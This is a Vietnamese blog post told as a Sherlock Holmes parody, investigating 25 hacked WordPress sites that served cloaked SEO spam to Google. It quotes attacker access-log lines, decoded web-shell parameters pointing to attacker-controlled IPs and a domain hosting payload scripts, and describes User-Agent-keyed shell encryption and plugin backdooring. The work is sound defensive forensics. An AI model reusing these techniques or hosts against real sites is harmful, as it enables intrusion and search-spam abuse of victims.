+70

Sherlock Mon và vụ án 25 website wordpress bị hack

Trích từ cuốn hồi ký của bác sĩ Watmen, người bạn vào sinh ra tử cùng thám tử Sherlock Mon về vụ án 25 trang Wordpress bị hack và cuộc phiêu lưu đi tìm kẻ thủ ác của cặp đôi này.

image.png

Người đàn ông có giọng nói trầm

Một chiều mùa đông trước giáng sinh năm 2022...

Tôi còn nhớ lúc ấy mình đang ngồi thoải mái trên chiếc ghế tựa ngả lưng mà công ty mua cho còn Sherlock thì đang say sưa bên chiếc máy tính hai màn hình của mình để cho ra đời những dòng code CRUD thần thánh. Bỗng nhiên cửa xộc mở, gió lạnh ùa vào và bóng dáng hai người đàn ông hiện lên trước sự bất ngờ của tôi. Tất nhiên là Sherlock thì vẫn đang đeo tai nghe và chìm đắm trong bản nhạc Cơn mưa ngang qua của idol Tùng mountain nên không hề để ý. Mãi đến khi hai người khách lạ ngồi xuống trước mặt, anh mới uể oải ngẩng đầu lên:

  • A chào thanh tra Lestrade, cơn gió độc hại nào đã đưa ông và vị khách đáng thương này đến tệ xá của chúng tôi thế?

Lúc này tôi mới nhận ra một trong hai người ngồi trước mặt là vị thanh tra nổi tiếng của Scotland Tech - Lestrade (người mà chúng tôi thường gọi là Linh Trần). Có vẻ dạo này Lestrade hơi phát tướng với khuôn mặt to và nọng cằm ngày một dày hơn nên tôi không nhận ra. Điều duy nhất làm mọi thứ trở nên quen thuộc trên gương mặt ấy là mái tóc trắng bạc dù người thanh tra trẻ tuổi mới bước sang tuổi 31.

  • Chuyện dài lắm, để tôi uống ly rượu cho ấm người trước đã.

Tôi rót cho Lestrade và người đàn ông mỗi người một ly vang trắng 0 độ và tranh thủ lúc họ uống để tập làm điều mà Sherlock vẫn cổ vũ tôi hàng ngày: quan sát.

Người đàn ông đi cùng Lestrade là một người có dáng rất cao và gầy, điều này tạo ra một sự tương phản không hề nhẹ khi ông ta đi cùng Lestrade - vốn là người có chiều cao khiêm tốn với thân hình đậm. Nổi bật trên khuôn mặt buồn buồn của người đàn ông là đôi mắt sâu, hơi man mác. Có lẽ vấn đề ông ta gặp phải thật sự khó khăn, bởi đôi lông mày đậm vẫn đang nheo lại mọi lúc kể từ khi ông bước vào căn phòng. Khi nhận ly rượu từ tôi, người đàn ông cảm ơn với một giọng nói trầm đến khó tin.

  • Nào các ông, tôi sẵn sàng lắng nghe rồi đây. Sherlock nói và ngả lưng trên ghế với hai bàn tay đan vào nhau. (Đây vốn là tư thế ngồi ưa thích của anh khi nghe các thân chủ trình bày).
  • Có lẽ việc này để ông Thomas (Toàn) trình bày thì hợp lý hơn tôi. Lestrade nói và liếc nhìn người đàn ông chờ đợi.
  • Vâng, chuyện là tôi có 25 site Wordpress sử dụng làm vệ tinh cho SEO (Private Blog Network - PBN). Những site này được bên tech bàn giao cho tôi từ nửa năm trước để chúng tôi quản lý và tự setup tiếp. Mọi thứ hoạt động rất tốt cho đến buổi sáng hôm nay. Khi check kết quả tìm kiếm trên google thì tôi phát hiện ra những website đó bỗng nhiên hiện lên với những thông tin bài viết không phải của mình. Gần như toàn bộ đường link tới trang web của tôi trên google đều có những nội dung tương tự. Tôi hoảng hốt quá nên sáng đã bắt chuyến tàu sớm đến chỗ thanh tra Lestrade đây.

  • Vậy là ông Thomas đây bị hack? Kết luận của cảnh sát thế nào?
  • Phía cảnh sát đã cho người xuống điều tra tận server và thu thập mẫu database để phân tích, nhưng tới giờ vẫn chưa có kết quả gì.
  • Tại sao lại chưa có kết quả gì thế ông Lestrade? Sherlock nói và quay sang nhìn vị thanh tra trẻ tuổi.
  • Hmm, chúng tôi đã khám nghiệm server, cũng đã thu thập database của một website bị hack để phân tích tuy nhiên không thể tìm được bất cứ nội dung gì liên quan đến thứ mà google đang hiển thị. Kể cả khi click vào các liên kết trên google search thì trang web của ông Thomas vẫn hiển thị rất bình thường, inspect html cũng không thấy có nội dung gì lạ. Cảm giác như kẻ trộm đã đột nhập vào ngôi nhà nhưng tất cả các cửa vẫn khóa kín và không có dấu hiệu đổ vỡ hay lục lọi gì vậy.

Sherlock bỗng đứng bật dậy và xoa hai tay vào nhau:

  • Câu chuyện thú vị đấy, rất may là các ông đã tìm đến tôi sớm, trước khi mọi dấu chân ở hiện trường bị những kẻ phàm nhân giày xéo. Watmen, lấy cho tôi chiếc SSH key và chúng ta lên đường đến server của ông Thomas đây nào. Đừng quên dặn bà Hudson rằng trưa nay chúng ta sẽ về trễ bữa trưa nhé. Và khẩn trương lên các quý ông, cơm trưa của bà Hudson rất ngon và tôi không muốn bỏ lỡ món cá cơm rim chua ngọt rất ngon của bà ấy đâu.

Dấu chân dưới lăng kính Google bot

Chúng tôi đến trang viên của ông Thomas chỉ sau vài giây sử dụng SSH. Trong lúc tôi tranh thủ nghe ông Thomas chia sẻ thêm về tác dụng của hệ thống PBN thì Sherlock ngồi nghe với một vẻ trầm ngâm. Sau đó anh bỏ lại chúng tôi và lượn một vòng quanh trang web. Thoạt nhìn thì có vẻ đây chỉ là một blog cá nhân hoàn toàn bình thường, với duy nhất 1 user đăng bài là admin và vài trăm bài viết cũng bình thường không kém. Thế nhưng khi search google kèm với từ khóa: site:<blogname>.com thì lại như lạc vào một thế giới khác với những bài viết méo mó và xa lạ.

Sherlock không nói năng gì, chỉ lẳng lặng mở trình duyệt web của mình ra, dùng một chiếc kính lúp đặc biệt tên là User-Agent Switcher và cẩn thận săm soi từng ngóc ngách của website. Chỉ mất không đến 10 giây và anh đã ra vỗ vai tôi:

  • Xem này, Watmen, đây chính là thứ mà kẻ trộm đã để lại.

Tôi ghé mắt nhìn vào kính lúp của anh (giờ đang được bật chế độ Google bot) và kinh ngạc thốt lên: "Ố mài gót". Trước mắt tôi, trang web đã biến đổi thành một bài viết SEO chỉ có nội dung nguệch ngoạc mà không có format gì.

Trong con mắt ngỡ ngàng của tôi và hai người đồng hành, anh tiếp tục cho chúng tôi xem những dấu chân lộn xộn vô hình mà chỉ có thể thấy qua lăng kính Google bot. Nếu như các bạn đã đọc nghiên cứu mới đây của tôi về lăng kính Google bot trong bài viết Tôi, NuxtJS và trang livestream vạn CCU thì chắc hẳn sẽ hiểu được tại sao kẻ gian lại có thể làm được điều này.

Đây là một hình thức SEO bẩn lợi dụng các trang web bị hack để tạo thành mạng lưới PBN và phát tán nội dùng refer tới trang web của kẻ tấn công. Có rất nhiều các trang web đặc biệt là wordpress đã bị tấn công với hình thức tương tự, trong đó có cả các trang web thuộc về các cơ quan chức năng với tên miền .gov.vn như dưới đây:

Sau khi chúng tôi đều thấy thông điệp nguy hiểm ẩn sau vẻ ngoài bình thường của trang web, Sherlock dặn tôi để anh lại một mình và trở về Baker street đợi tin tức của anh.

Ba sợi chỉ bị đứt

Đến buổi tối, Sherlock trở về phòng với một khuôn mặt cau có bực bội, anh liên tục lẩm nhẩm về ba sợi chỉ bị đứt. Tôi đoan chắc rằng vụ án của ngài Thomas đã thực sự đem đến cho anh một bài toán hóc búa, bởi anh liên tục lật giở những file log và còn không để ý tới mọi người xung quanh trong một thời gian dài. Tất nhiên là tôi đã quá thân thuộc với những thói quen này và cũng rút cho mình một kinh nghiệm: Đừng làm phiền mỗi khi Sherlock tập trung.

Lúc đó là 12 rưỡi đêm, khi tôi đang lơ mơ ngủ trên chiếc ghế làm việc trị giá 2 củ khoai thì thấy Sherlock đứng dậy khỏi đống giấy tờ và vươn vai. Cơn buồn ngủ chợt tan biến và tôi vội vàng hỏi:

  • Nội vụ có gì mới không?
  • Bế tắc lắm. Tôi đã lần ra 3 sợi chỉ đầu mối và nó đều đứt cả.
  • Thật vậy sao? Anh đã làm những gì thế?
  • Không nhiều lắm, nhưng tôi sẽ kể cho anh vì biết đâu bộ óc thiên tài trong việc khơi gợi của anh lại gợi ý cho tôi điều gì đó.

Sherlock cúi xuống, lấy một tờ giấy trong đống lộn xộn và đưa cho tôi:

  • Đây là những thứ mà kẻ gian đã để lại trong 1 website của ông Thomas. Sau khi tôi đoán được y phải để lại thứ gì đó can thiệp vào code để check User-Agent của từng request, tôi đã cài thêm plugin Sucuri để tiến hành scan và kiểm tra tính toàn vẹn các file core của wordpress. Ngay lập tức thì đã phát hiện ra file /wp-admin/includes/class-wp-j3If9H-privacy.php đáng ngờ. Sau khi tôi thử truy cập file đó trên trình duyệt thì anh biết điều gì xảy ra không?
  • Nó hiện ra một con web shell đen sì chăng?
  • Nếu vậy thì đã dễ. Thế nhưng không, nó trắng tinh và chẳng có gì hiện ra cả.
  • Thế thì có gì nguy hiểm?
  • Đó là thứ mà chúng muốn anh nghĩ đến đấy. Tôi đã kiểm tra mã nguồn file và phát hiện bên trong đều là những đoạn code đã mã hóa như thế này:

  • Bọn chúng rất khôn ngoan, nếu như chúng ta chỉ là người bình thường truy cập thì file không hiển thị gì, nhưng anh sẽ thấy chúng check User-Agent của người dùng và dùng nó làm key để giải mã đoạn code bên trong. Bất ngờ chưa?

  • Giờ chúng ta phải làm gì? Chờ chúng truy cập lại thì mới giải mã được đoạn code này hay sao?

  • Tất nhiên là không, thật may mắn là server của ngài Thomas có log access và error của nginx. Tức là mọi request tới server đều được log lại. Tôi đã thử tìm đường dẫn tới file /wp-admin/includes/class-wp-j3If9H-privacy.php trong các file access log gần đây thì đã tìm thấy có một request truy cập vào ngày 16/12 với User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36. Tôi đã giả lập User-Agent này vào trình duyệt và đã giải mã được đoạn code đó rồi. Về cơ bản nó là một con web shell cho phép upload file lên server thôi. Url của file cần upload cũng được hacker mã hóa và đưa vào querstring để thực hiện tự động.

  • Vậy là chúng ta đã tìm ra thủ đoạn của hacker rồi?

  • Không hẳn. File web shell kia chỉ là 1 bước trung gian trong cuộc tấn công của hacker mà thôi. Tôi phát hiện ra điều này vì khi vào server tìm tất cả những file php được thay đổi trong 1 tháng trở lại đây thì thấy rất nhiều file shell tương tự tồn tại trong mỗi trang web và có một điểm chung là được tạo ra gần như cùng 1 thời điểm.

  • Không lẽ hacker upload cùng lúc lên cả 25 website?

  • Đó chính là điều tôi đang suy nghĩ. Chắc chắn không phải là upload cùng lúc mà là hacker đã ở sẵn trong server và chạy một thứ gì đó để tạo ra tất cả các shell cùng một thời điểm. Để đạt được điều này thì tôi nghĩ chỉ có 3 khả năng:

    • Hacker chiếm được user root của server và tự do tải file lên tất cả các thư mục
    • Hacker hack được user ftp mà ngài Thomas cấp cho cấp dưới để upload lên
    • Hacker thông qua lỗ hổng của wordpress để upload shell lên, từ đó lây lan cho tất cả các website
  • Sau khi đi kiểm tra quyền ssh thì tôi loại bỏ sợi chỉ đầu tiên khi server không được set password mà chỉ được truy cập với SSH key. Ngoài ra tôi cũng check cả lịch sử command khi login của user root thì không thấy có dấu hiệu bị xâm nhập.

  • Tới trường hợp thứ 2 thì tài khoản FTP cũng được cung cấp để sử dụng với SSH key. Khả năng key bị lộ cũng khó xảy ra. Vậy là sợi chỉ thứ 2 cũng đã đứt.

  • Cuối cùng là lỗ hổng của wordpress. Đây mặc dù là thứ có khả năng cao nhất, tuy nhiên check các plugin trong 1 site thì cũng khá mới, được cài từ trang plugin chính thức của wordpress tích hợp sẵn trong CMS, tôi cũng sử dụng các tool scan lỗ hổng wordpress thì cũng không thấy có lỗ hổng nào trong các plugin cũng như trang web đó. Về cơ bản là sợi chỉ này đang gặp phải bức tường rất khó vượt qua nếu tiếp cận trực tiếp như thế này.

  • Chính vì 3 sợi chỉ đứt này nên tôi đang quay trở lại với việc lần theo file script tấn công của hacker bằng việc vật lộn với đống access log của nginx đây.

Ánh nến le lói trong đêm

Việc soi lại log của nginx là không hề dễ dàng, khi mỗi trang web được rotate bởi 14 file log access, 14 file log error. Tổng 25 site sẽ là khoảng 700 file log. Vậy ra đống lùm xùm mà tôi thấy ở quanh Sherlock chính là đống access log này mà ra.

  • Tôi có thể làm gì giúp anh không? - Tôi nhìn trái núi nhỏ bên cạnh Sherlock với ánh mắt ái ngại.
  • Tất nhiên là có rồi anh bạn già. Lại đây và giúp tôi ngồi đọc hết mấy file log này xem có gì bất thường không nhé.
  • Đ... đọc hết á?
  • Ừ, đó chính là việc tôi đang làm nãy giờ nè, tôi tìm được User-Agent để giải mã file script cũng nhờ nó đó.

Vậy là tôi bước vào cuộc truy lùng hacker trên giấy của anh với một tinh thần tỉnh táo lạ thường dù đã quá giờ đi ngủ từ lâu. Rất may mắn cho anh vì nghề tay trái của tôi là DevOps và dăm ba cái trò search log này không thể làm khó tôi được. Bắt đầu với bản ghi User-Agent mà anh tìm thấy lúc nãy, tôi nhanh chóng tìm ra những hành động tiếp theo sau khi hacker truy cập file web-shell nhờ vào lệnh grep -r <user-agent> .

172.71.166.249 - - [16/Dec/2022:15:42:53 +0700] "GET /wp-admin/includes/class-wp-j3If9H-privacy.php?dw=qKWfCJu0qUN6Yl8mAP4kZmVhZGxkYwpjY2E3oTHhqUu0 HTTP/1.1" 200 277 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.249 - - [16/Dec/2022:15:44:37 +0700] "GET /dwle.php?name=vuich HTTP/1.1" 200 45 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.249 - - [16/Dec/2022:15:45:47 +0700] "GET /vuich.php?g=qKWfCKq3ql5vMJ5xnJqcqTSfZwNkBF54rKbiZGVkAF9uoJSjqUImZwVkZwNmYGV5YmHiWzEcpw1gLJqhnJMcMKWy HTTP/1.1" 200 110 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.249 - - [16/Dec/2022:15:46:45 +0700] "GET /magnifiere/temp.php?act=ini&ms=-1 HTTP/1.1" 200 37 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.249 - - [16/Dec/2022:16:10:36 +0700] "GET /magnifiere/temp.php?act=map&num=22 HTTP/1.1" 200 200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.248 - - [16/Dec/2022:17:23:45 +0700] "GET /magnifiere/temp.php?act=bcup HTTP/1.1" 200 37 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.249 - - [16/Dec/2022:17:25:16 +0700] "GET /magnifiere/temp.php?act=lock HTTP/1.1" 200 37 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.249 - - [16/Dec/2022:17:27:32 +0700] "GET /magnifiere/temp.php?act=del HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"
172.71.166.249 - - [16/Dec/2022:17:29:32 +0700] "GET /mfi.php?chmod=1 HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/74.0.3729.169 Google/569 Safari/537.36"

  • Tải 1 file có tên là dwle.php về thư mục gốc của site (chính là url được mã hóa thành query dw=qKWfCJu0qUN6Yl8mAP4kZmVhZGxkYwpjY2E3oTHhqUu0), giải mã đường dẫn này tìm được server chứa script của hacker
// Code này mình trích xuất từ file class-wp-j3If9H-privacy.php sau khi giải mã, còn data lấy từ request URL
echo(base64_decode(str_rot13('qKWfCJu0qUN6Yl8mAP4kZmVhZGxkYwpjY2E3oTHhqUu0')));

// url=http://34.132.191.70/dwle.txt
  • Call tới endpoint /dwle.php với action đổi tên để tự đổi tên file dwle.php thành 1 file khác (ở đây là vuich.php)
  • Call tới endpoint /vuich.php với 1 đường dẫn data và tạo 1 thư mục chứa file tạm (ở đây là magnifiere)
// Code này mình trích xuất từ file class-wp-j3If9H-privacy.php sau khi giải mã, còn data lấy từ request URL
echo(base64_decode(str_rot13('qKWfCKq3ql5vMJ5xnJqcqTSfZwNkBF54rKbiZGVkAF9uoJSjqUImZwVkZwNmYGV5YmHiWzEcpw1gLJqhnJMcMKWy')));

// url=www.bendigital2019.xyz/1215/amaptus221203-29/5/&dir=magnifiere
  • Call tới endpoint /magnifiere/temp.php để khởi tạo việc sinh sitemap của hacker một cách tự động, tự gen 1 đoạn code load khi wordpress khởi tạo để check User-Agent, trigger update info với google search console, sau đó tự động khóa code và delete tất cả các script hack (chỉ chừa lại 1 file ban đầu là /wp-admin/includes/class-wp-j3If9H-privacy.php)

Vậy là chúng tôi đã biết sau khi truy cập được shell /wp-admin/includes/class-wp-j3If9H-privacy.php thì hacker đã làm những gì để thay đổi nội dung site của ngài Thomas trên công cụ tìm kiếm Google. Thế nhưng những hành động của hacker trước khi có file /wp-admin/includes/class-wp-j3If9H-privacy.php thì hacker đã làm gì để đưa được shell lên hệ thống thì vẫn là một ẩn số. Và cuộc điều tra của chúng tôi sẽ chưa kết thúc khi chưa tìm ra được điểm mấu chốt này.

Một ngọn nến đã được thắp sáng, nhưng phía trước chúng tôi vẫn là khoảng đen vô tận của màn đêm.

Những câu hỏi không có lời giải đáp

Cuộc điều tra dần đi vào bế tắc khi tôi và Sherlock không thể tái hiện được toàn bộ những việc hacker đã làm để xâm nhập hệ thống của ngài Thomas. Càng đi sâu vào log thì chúng tôi lại càng có nhiều câu hỏi:

  • IP của kẻ tấn công là gì? Việc không bật chế độ nginx_real_ip đã khiến cho toàn bộ IP được ghi trong access log ở trên đều là IP của... Cloudflare do ngài Thomas chạy site của mình phía sau proxy của Cloudflare. Điều này khiến chúng tôi gặp khó khăn rất nhiều khi không thể dùng IP để truy dấu hành tung hacker trong access log. Việc tìm kiếm theo User-Agent của tôi ở phía trên chỉ là biện pháp tình thế khi các user agent này có thể trùng với user bình thường và nhiều khi hacker cũng đổi User-Agent khi truy cập các loại script.
  • Liệu file xmlrpc.php có liên quan tới vụ án không? Trong lúc xem xét log thì chúng tôi phát hiện file này bị request rất nhiều. Qua tìm hiểu thì đây là file cung cấp phương thức truy vấn từ xa của wordpress với các hệ thống bên ngoài. Từ đây hacker có thể tìm hiểu thông tin về hệ thống, về username cũng như bruteforce hệ thống login của wordpress. Đây là một điểm yếu chí mạng mà khi setup ngài Thomas và cộng sự đã không nghĩ đến. Việc xuất hiện request tới xmlrpc.php liên tục trước và sau khi hacker chạy shell đã làm chúng tôi bối rối vì không biết liệu hacker đã bruteforce thành công và up được shell lên hay chưa.
  • Chuyện gì đã xảy ra trước thời điểm 14/11? Đây là thời điểm mà tất cả các file dạng class-wp-xxx-privacy.php được tạo ra. Cùng một thời điểm các bạn nhé. Tất cả chúng đều được tạo ra tại 1 thời điểm, chính xác tới từng giây. Thế nhưng access log lại chỉ được rotate bằng 14 file log tương đương với khoảng 2 tuần. Tức là hiện giờ thì log request ngày 14/11 đã không còn.
$ find . -name '*class-*-privacy.php' -printf "%T@ %Tc %p\n"

1668390599.4041400360 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-OxbAvX-privacy.php
1668390599.0881357940 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-7IuqSt-privacy.php
1668390599.4441405730 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-sOB9Yq-privacy.php
1668390599.3241389630 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-pDXhmu-privacy.php
1668390599.2641381570 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-Gq7fi4-privacy.php
1668390599.4361404660 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-CJRZ15-privacy.php
1668390599.5361418090 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-L6DGy8-privacy.php
1668390599.6641435260 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-EviYAW-privacy.php
1668390599.2481379420 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-eLpOPV-privacy.php
1668390599.4281403590 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-0q9cg4-privacy.php
1668390599.3961399290 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-j3If9H-privacy.php
1668390599.5761423450 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-Mh46xd-privacy.php
1668390599.4081400910 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-30ZFa9-privacy.php
1668390599.6441432580 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-q2rode-privacy.php
1668390599.6801437410 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-nTDHRy-privacy.php
1668390599.4921412170 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-hkynWt-privacy.php
1668390599.6521433650 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-c89SAH-privacy.php
1668390599.5561420770 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-2I0R45-privacy.php
1668390599.6441432580 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-eZiqVO-privacy.php
1668390599.5321417540 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-BgV2af-privacy.php
1668390599.6281430440 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-rq7aNw-privacy.php
1668390599.6201429350 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-ucpLYE-privacy.php
1668390599.4641408420 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-jxWJ2w-privacy.php
1668390599.7161442250 Mon Nov 14 08:49:59 2022 ./xxx/wp-admin/includes/class-wp-mzwab8-privacy.php

May thay, trong khi vô vọng tìm những file log của tháng trước, tôi vô tình phát hiện ra có 1 website gần như bỏ hoang không có traffic do đó log của ngày 14/11 vẫn còn. Trong đó có 2 request này:

172.71.170.93 - - [14/Nov/2022:08:49:59 +0700] "GET /test.php HTTP/1.1" 200 137 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"
108.162.221.166 - - [14/Nov/2022:08:50:19 +0700] "GET /wp-admin/includes/class-wp-CJRZ15-privacy.php HTTP/1.1" 200 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"

Ô hô, vậy là hacker đã access vào file /test.php trước rồi mới access vào file class-wp-CJRZ15-privacy.php. Tại sao lúc nãy tôi lại không thể tìm thấy bản ghi này là bởi hacker đã sử dụng 1 User-Agent khác. Nhìn vào thời gian request gần như liền kề thì tôi có thể lấy mấy chục năm hành nghề đoán bừa ra đảm bảo chính file test.php kia là thứ đã tạo ra file class-wp-CJRZ15-privacy.php. Tuy nhiên chúng tôi cũng không thể tìm được bất kỳ file nào tên test.php ở trong bất kì site nào. Điều này có nghĩa là sau khi làm xong nhiệm vụ cài đặt script, file test.php kia đã biến mất.

Vậy thì file test.php kia ở đâu ra? Nó ở đó từ bao giờ? Liệu rằng trước nó có một file tiền nhiệm nào không? Tên hacker đã ẩn giấu hành tung rất khôn ngoan khi náu mình hơn 1 tháng trong website rồi mới tấn công khiến mọi dấu vết bị thời gian xóa nhòa. Liệu đâu mới là lỗ hổng thật sự khởi nguồn cho vụ án này?

Một bí ẩn được giải đáp nhưng lại một bí ẩn khác được mở ra. Mặc dù chưa tới đích nhưng có 1 điều chắc chắn là chúng tôi đã đến gần hơn với sự thật.

Những manh mối mới

  • Watmen, dậy đi.

Tôi tỉnh dậy trong sự mơ màng. Có lẽ đêm qua giữa chừng tôi đã ngủ gục khi đọc tới file log thứ 500. Sherlock đã dậy từ lúc nào và đang ngồi bên cửa sổ với ánh mắt kích động.

  • Đêm qua có manh mối mới. Trong lúc chúng ta đang đào log thì lũ trộm cắp đó lại quay trở lại. Thật tiếc vì tôi đã không nghĩ đến đặt bẫy chúng. Nhưng thôi không sao vì chúng cũng để lại những dấu chân mới có lợi cho cuộc điều tra của chúng ta.
  • Chúng đã làm gì? - Tôi vừa ngáp vừa hỏi.
  • Chúng truy cập lại shell với một User-Agent khác. Có lẽ là để update dữ liệu chúng đặt vào. Nhưng từ User-Agent mới này và phương pháp tìm kiếm của anh, tôi đã phát hiện ra một server chứa script mới của chúng
// Code này mình trích xuất từ file class-wp-j3If9H-privacy.php sau khi giải mã, còn data lấy từ request URL
echo(base64_decode(str_rot13('qKWfCJu0qUN6Yl85ZF4lZQDhZwV2YwVmAv94qP9bqT1fZaObpP50rUD=')));

// url=http://91.204.226.236/xt/html2php.txt
  • Tôi đã lần theo dấu server này, tìm được thư mục chứa nhiều loại script hack của chúng và lấy hết về nghiên cứu đây.

  • Vậy là anh đã tìm được nội dung file test.php đó rồi hả?
  • Tất nhiên, nhưng không phải dễ như anh nói đâu. File test.php đó không hề nằm trong thư mục /xt/ trên server của chúng, do đó chúng ta không nhìn thấy để mà đọc.
  • Thế làm cách nào mà anh tìm được?
  • Đoán thôi, và tôi đã gặp may. Tôi đoan chắc rằng tên hacker sẽ để 1 phiên bản script hack của hắn trên server dưới một đường dẫn dễ tìm nào đó, và tôi đã thử /test.txt trên cả mấy server của hắn. Nội dung file test.txt này chỉ xác nhận cho phỏng đoán của chúng ta về việc test.php sinh ra class-wp-j3If9H-privacy.php.
  • Nhưng vậy thì cũng chưa có ý nghĩa nhiều lắm. - Tôi thở dài. Vậy là chúng tôi cũng chưa tiến xa lắm so với ngày hôm qua.
  • Đừng ủ rũ thế anh bạn già, nhờ User-Agent mới này, sau khi sắp xếp toàn bộ các request tới /test.php trong toàn bộ các file theo thời gian và đọc ngược trở lại để xem có request nào đang ngờ không thì tôi còn phát hiện ra một file script khác được chúng sử dụng là dir.php.
172.71.242.8 - - [19/Dec/2022:13:58:03 +0700] "GET /dir.php?path=1&action=copy HTTP/1.1" 200 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"
172.71.242.147 - - [19/Dec/2022:13:58:52 +0700] "GET /dir.php?path=1&action=del HTTP/1.1" 200 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"
  • Tôi cũng đọc được code của dir.php khi thử path /dir.txt ở server kia. Nó làm một nhiệm vụ là copy file test.php ra tất cả các thư mục wordpress cùng cấp và trigger việc gọi endpoint /test.php để cài script lên các website đó. Tức là lỗ hổng có thể chỉ ở 1 con web thôi và nó là con này: <abcxyz.com>. Tôi đã tiếp tục đào sâu vào con web này, tìm tất cả những file được thay đổi trong thời gần đây. Thế nhưng suýt chút nữa tôi đã mắc sai lầm.
  • Sai lầm gì thế?
  • Tôi chỉ tìm những file được thay đổi trong 2 tháng gần đây, nhưng tên hacker này láu cá hơn, hắn đã ở đó còn lâu hơn thế nữa kìa. Đây là một file rất kỳ lại trong plugin wp-megamenu mà 1 trong các site của ngài Thomas được cài. Dù site đó đã bị bỏ hoang lâu ngày, cũng không có nhiều người vào nữa nhưng lỗ hổng mà nó để lại thì thật là kinh khủng.

  • Hắn ở đó từ tháng 9, và được tạo ra cùng thời gian với những file khác của plugin. Tức là trong plugin wp-megamenu này đã bị cài script. Tên láu cá đã chờ đợi hơn 2 tháng để lây nhiễm cho tất cả các website, và hơn 1 tháng nữa để chiếm quyền điều khiển search console.

Ánh mắt anh toát lên sự hả hê và đắc thắng. Vậy là chân tướng sự việc đã lộ rõ. Ngài Thomas có thể yên tâm đi xây ngôi nhà mới với data backup của mình khi đã tìm được nguồn cơn lỗ hổng và tôi có thể hoàn thành câu chuyện li kỳ nhất trong cuốn hồi ký của mình.

Vài lời sau cuối

Wordpress rất phổ biến, và hacker wordpress thì còn phổ biến hơn. Chúng đã tiến hóa từ deface, chiếm quyền sang âm thầm sử dụng website của người bị hại vào mục đích xấu. Khi khám phá ổ data www.bendigital2019.xyz chúng tôi đã phát hiện có hàng ngàn website đang là nạn nhân của mạng lưới này với data trải dài từ những năm 2019 tới hiện tại. Sau câu chuyện này tôi rút ra 3 điều:

  • Hãy cài wordpress với EasyEngine. Tại đó từng site của bạn sẽ được isolate riêng biệt trong 1 container và đảm bảo việc 1 site mất an toàn cả hệ thống đi tong được hạn chế. Bonus cho các bạn thêm 1 công cụ quản lý multiple site rất hiệu quả và nhẹ gánh là MainWP. Xài free cũng rất ngon.
  • Đừng tự download plugin hay theme trên mạng mà hãy cài từ nguồn chính thống. Và quan trọng hơn là update thường xuyên.
  • Nhớ cài thêm plugin check File integrity như Sucuri để nó kiểm tra xem site wp của bạn có file nào lạ không.

Thêm một điều nữa: Khi bị hack hãy tìm được cho ra nguyên nhân rồi hẵng xây lại nhé. Không ra nguyên nhân gốc rễ thì bạn có dựng bao nhiêu site lên cũng còn lỗ hổng đó và bị hack thôi.

Merry Christmas and Happy New Year!


All Rights Reserved

Viblo
